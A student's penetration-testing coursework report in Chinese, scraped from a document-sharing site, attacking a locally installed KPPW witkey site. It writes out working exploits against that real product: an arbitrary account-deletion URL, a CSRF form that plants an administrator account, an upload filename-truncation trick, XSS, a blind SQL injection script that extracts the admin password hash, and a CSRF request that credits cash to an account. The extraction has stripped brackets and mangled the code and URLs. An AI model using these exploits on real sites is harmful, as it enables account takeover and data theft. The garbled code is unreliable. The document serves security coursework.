網(wǎng)絡安全風險評估大作業(yè)_第1頁
網(wǎng)絡安全風險評估大作業(yè)_第2頁
網(wǎng)絡安全風險評估大作業(yè)_第3頁
網(wǎng)絡安全風險評估大作業(yè)_第4頁
網(wǎng)絡安全風險評估大作業(yè)_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領

文檔簡介

1、 南陽理工學院 網(wǎng)絡安全風險評估大作業(yè) 班 級: 13級網(wǎng)安四班 姓 名: 彭克杰 學 號: 1315935027 指導老師: 林玉香 2016.5.18網(wǎng)絡安全評估目的:網(wǎng)絡平臺安全泛指操作系統(tǒng)和通用基礎服務安全,主要用于防范黑客攻擊手段。目前市場上大多數(shù)安全產(chǎn)品均具有局限安全性,我們可以通用信息安全評估準則為依據(jù)來對其進行評估,來發(fā)現(xiàn)問題,修復問題,確定網(wǎng)絡平臺安全實施。 安全弱點和信息資產(chǎn)緊密相連,它可能被威脅利用、引起資產(chǎn)損失或傷害。但是,安全弱點本身不會造成損失,它只是一種條件或環(huán)境、可能導致被威脅利用而造成資產(chǎn)損失。安全弱點的出現(xiàn)有各種原因,例如可能是軟件開發(fā)過程中的質(zhì)量問題,也可

2、能是系統(tǒng)管理員配置方面的,也可能是管理方面的。但是,它們的共同特性就是給攻擊者提供了對主機系統(tǒng)或者其他信息系統(tǒng)攻擊的機會。因此,我們對網(wǎng)絡產(chǎn)品,網(wǎng)絡平臺等進行一系列的風險評估很是必要,下面我們就對一個具體的網(wǎng)站進行安全方面的漏洞評估。評估內(nèi)容:在本次實驗中我們借助phpstudy搭建一個威客系統(tǒng)網(wǎng)站,進行實際滲透測試和評估。掃描工具:Burpsuite,Nikto,WebScarab,掃描工具有很多,選個合適的就行。這是發(fā)現(xiàn)的一些漏洞:1.刪除任意帳號/添加管理員詳細說明:http:/localhost/KPPW/index.php?do=user&view=message&o

3、p=sendhttp:/localhost/KPPW/index.php?do=pubtask&id=1&step=step2 收件人填目標用戶名 ,標題沒有特定要求,內(nèi)容沒有轉(zhuǎn)義,不過過濾了敏感標簽和 onerror onload等事件。任意刪除賬號:http:/localhost/KPPW/admin/index.php?do=user&view=list&op=del&edituid=5529GET提交此URL 就會刪除ID為 “5529”的用戶然后添加管理員,在添加用戶處抓包,提交數(shù)據(jù)Code區(qū)域:edituid=&fdsusername

4、=qianlan&fdstruename=&fdsphone=&fdsqq=&fdsindus_pid=&fdsindus_id=&fdsbirthday=&fdspassword=111111&fdsemail=xq.c&fdsgroup_id=1&is_submit=1然后構(gòu)造一個表單:Code區(qū)域:<form action="http:/localhost/KPPW/admin/index.php?do=user&view=add&edituid=" method=&

5、quot;post"><input type=hidden name="edituid" value=""><input type=hidden name="fdsusername" value="qianlan"><input type=hidden name="fdstruename" value=""><input type=hidden name="fdsphone" value="

6、;"><input type=hidden name="fdsqq" value=""><input type=hidden name="fdsindus_pid" value=""><input type=hidden name="fdsindus_id" value=""><input type=hidden name="fdsbirthday" value="">&l

7、t;input type=hidden name="fdspassword" value="123456"><input type=hidden name="fdsemail" value="xq.c"><input type=hidden name="fdsgroup_id" value="1"><input type="submit" name="is_submit" value="1&

8、quot;></form>其他比較敏感的都隱藏起來。 因為script 標簽被過濾。 不能自動提交。所以放出來個按鈕,發(fā)給人家一看 一個按鈕 是誰都會有好奇心 肯定會點下這個按鈕。將此發(fā)給管理員。 就坐等添加新帳號吧,或者可以不用寫表單, 嵌入其他URL, 還可以自動提交。 此處自由發(fā)揮。此刻來用小號給管理員發(fā)個私信現(xiàn)在來看看效果 , 出來一個小按鈕 接著點擊我們現(xiàn)在來后臺的會員管理看看是否添加了一個名為qianlan的管理員添加成功,用戶組為管理員帳號qianlan 密碼 123456接下來漏洞證明:2.文件上傳導致任意代碼執(zhí)行 詳細說明: Code區(qū)域: keke_use

9、r_avatar_class.php文件:static function uploadavatar($uid) header ( "Expires: 0" );header ( "Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE );header ( "Pragma: no-cache" );if (empty ( $uid ) return - 1;if (empty ( $_FILES 'Filedata' ) return -

10、 3;list ( $width, $height, $type, $attr ) = getimagesize ( $_FILES 'Filedata' 'tmp_name' );$imgtype = array (1 => '.gif', 2 => '.jpg', 3 => '.png' );$filetype = $imgtype $type;if (! $filetype)$filetype = '.jpg'$tmpavatar = _DATADIR . './tm

11、p/upload' . $uid . $filetype;file_exists ( $tmpavatar ) && unlink ( $tmpavatar );if (copy ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) | move_uploaded_file ( $_FILES 'Filedata' 'tmp_name', $tmpavatar ) unlink ( $_FILES 'Filedata' 'tmp_name'

12、; );list ( $width, $height, $type, $attr ) = getimagesize ( $tmpavatar );if ($width < 10 | $height < 10 | $type = 4) unlink ( $tmpavatar );return - 2; else unlink ( $_FILES 'Filedata' 'tmp_name' );return - 4;$avatarurl = _DATAURL . '/tmp/upload' . $uid . $filetype;retur

13、n $avatarurl;在這里$tmpavatar = _DATADIR . './tmp/upload' . $uid . $filetype; 是保存的文件名,在這里uid沒有進行過濾,也沒有進行長度限制,由于開了GPC 無法利用%00截斷。這里就用長文件名截斷3.XSS跨站腳本攻擊詳細說明:我們先來注冊一個賬號,然后發(fā)布商品。然后進行抓包,再添加圖片處修改:效果:4.SQL注入漏洞詳細說明:注冊兩個帳號,然后其中一個對另外那個發(fā)送3個消息。打開中間那條 url如下 *.*.*.*/KPPW/index.php?do=user&view=message&o

14、p=detail&type=private&intPage=1&msgId=16然后注入下面我們可以看到 上一條 和 下一條 。注入測試*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=1-存在*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=1

15、6 and 1=2-然后消失了。利用url,*.*.*.*/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and (select CHAR(48)=SUBSTR(SELECT password from keke_witkey_member WHERE uid =1),1,1)-然后整一個小工具替換下host url cookiesCode區(qū)域:#coding:utf-8import httplibdef get(i1,i2):page=&quo

16、t;"rHtml=httplib.HTTPConnection("*.*.*.*",80,False)url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20ui

17、d%20=1%29,"+i2+",1%29-"#print urlrHtml.request("GET",url,headers="User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept

18、-Encoding":"gzip, deflate","Cookie":"PHPSESSID=x","Connection":"keep-alive")page=rHtml.getresponse(False)return page.read().count('一條')mm=for i in range(1,33):for ii in range(48,123):if(get(str(ii),str(i)!=0):mm.append(chr(ii)print "

19、;".join(mm)break5. csrf漏洞詳細說明:我們先來注冊一個賬號,之后進入一個頁面http:/localhost/index.php?do=user地址為:http:/localhost/index.php?do=seller&id=5529可見,我們的用戶id為5529再來發(fā)布一個商品,http:/localhost/index.php?do=pubgoods然后添加上我們偽造的urlCode區(qū)域:http:/localhost/admin/index.php?do=user&view=charge&valid=1&maxCash=1

20、00&maxCredit=&user=5529&cash_type=1&cash=100&char填好之后發(fā)布,并提交到后臺。這種威客網(wǎng)站添加的商品,管理員肯定會在后臺審核的。管理員進去后:會有一個get請求就是上面我們填寫的一個地址:再來刷新下我們剛才注冊的帳號錢增加了100對于此漏洞,我們驗證一下后臺登錄:驗證一下id驗證合格之后提交并抓包,偽造成GET之后加錢成功6. 全局問題導致大面積注入詳細問題:文件/control/user/account_auth.phpif ($code&&in_array($code,$arrAllow

21、Auth) $code or $code = $keys '0' $code or kekezu:show_msg ( $_lang 'param_error', "index.php?do=auth", 3, '', 'warning' );$auth_class = "keke_auth_" . $code . "_class"$objAuth = new $auth_class ( $code ); $auth_item = $arrAllAuthItems $co

22、de; $auth_dir = $auth_item 'auth_dir' $arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); require S_ROOT . "/auth/$code/control/index.php"require keke_tpl_class:template ( 'auth/' . $code . '/tpl/' . $_K 'template' . '/'.$step )

23、;die; else $real_pass = keke_auth_fac_class:auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class:auth_check ( "realname", $gUid );$arrHasAuthItem = keke_auth_fac_class:get_auth ( $gUserInfo );$arrUserAuthInfo = $arrHasAuthItem 'info'這里包含了/auth/$code/contro

24、l/index.php文件,這里的code我們設置為email當然code有('realname','enterprise','bank','mobile','email')這五中形式進入/auth/email/control/index.php文件:case "step3":if($email_a_id&&$ac='check_email')$boolAuthRes = $objAuth->audit_auth($active_code,$email_a_

25、id);header('location:index.php?do=user&view=account&op=auth&code=email');if($arrAuthInfo'auth_status'=1)$auth_tips ='已通過'$auth_style = 'success'elseif($arrAuthInfo'auth_status'=2)$auth_tips ='未通過'$auth_style = 'warning'break;第三步驗證時,

26、$active_code和$email_a_id參數(shù)進入驗證函數(shù)audit_auth跟進,文件/auth/email/lib/keke_auth_email_class.phppublic function audit_auth($active_code,$email_a_id)global $_K, $kekezu,$_lang;$user_info=$kekezu->_userinfo;if(md5($user_info'uid'.$user_info'username'.$user_info'email')=$active_code)

27、$arrAuthInfo=$this->get_auth_info($email_a_id);if(empty($arrAuthInfo0)return false;這里參數(shù)$email_a_id又進入函數(shù)get_auth_info跟進,文件/lib/sys/keke_auth_base_class.phppublic function get_auth_info($auth_ids)if(isset($auth_ids)if(!stristr($auth_ids,',') return db_factory:query(sprintf(" select * f

28、rom %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn db_factory:query(sprintf(" select * from %s where %s in (%s) ",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids);elsereturn array();到這里,參數(shù)$auth_ids = $e

29、mail_a_id,進入了sql語句但是當$auth_ids有逗號分隔的話,就進入下面那一條語句in ($auth_ids),在整個參數(shù)傳遞的過程中$auth_ids沒有過濾,這里也沒有加引號保護,導致注入。下面我們來看看任何導致大面積注入問題出在get_auth_info函數(shù),位于文件/lib/sys/keke_auth_base_class.phplib下面的文件都是系統(tǒng)的全局調(diào)用文件,這里的keke_auth_base_class.php也是一樣,在所有關于認證的功能里面都會調(diào)用,如下面四個文件:/auth/email/lib/keke_auth_email_class.php/lib/

30、sys/keke_auth_base_class.php/lib/sys/keke_auth_base_class.php/lib/sys/keke_auth_base_class.php前面兩個就是我們這里的漏洞分析,看看下面連個。public function del_auth($auth_ids,$url=null) global $_lang;$url ="index.php?do=auth&view=list&code=".$this->_auth_code;is_array($auth_ids) and $ids=implode("

31、;,",$auth_ids) or $ids=$auth_ids;$auth_info=$this->get_auth_info($ids);還有public function review_auth($auth_ids,$type='pass',$url=null)global $_lang;global $kekezu;if($url=null)$url = $_SERVER'HTTP_REFERER'$prom_obj = keke_prom_class:get_instance ();is_array($auth_ids) and $au

32、th_ids=implode(",",$auth_ids);$auth_info=$this->get_auth_info($auth_ids);$size=sizeof($auth_info);這里是在del_auth和review_auth函數(shù)處調(diào)用了漏洞函數(shù)get_auth_info而且進入這兩個函數(shù)的參數(shù)都是沒有處理的,最后都直接進入了sql語句,導致sql注入而且del_auth函數(shù)在認證過程中被調(diào)用的地方是21處.review_auth函數(shù)在認證過程中被調(diào)用的地方是17處.所以罪魁禍首get_auth_info函數(shù),可以引發(fā)大面積的sql注入問題。進行審核過程中發(fā)現(xiàn),只要是在進入sql語句時,如:in (變量),這樣的sql語句時,大部分是沒有出來這里的變量的,都存在注入問題郵件認證時,發(fā)送郵件:成功發(fā)送認證郵件后,看看郵箱收到的認證鏈接:然后copy認證鏈接,構(gòu)造參數(shù)email_a_id,注意這里的id后面的一個必須存在的id,如這里的2,構(gòu)造后請求

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論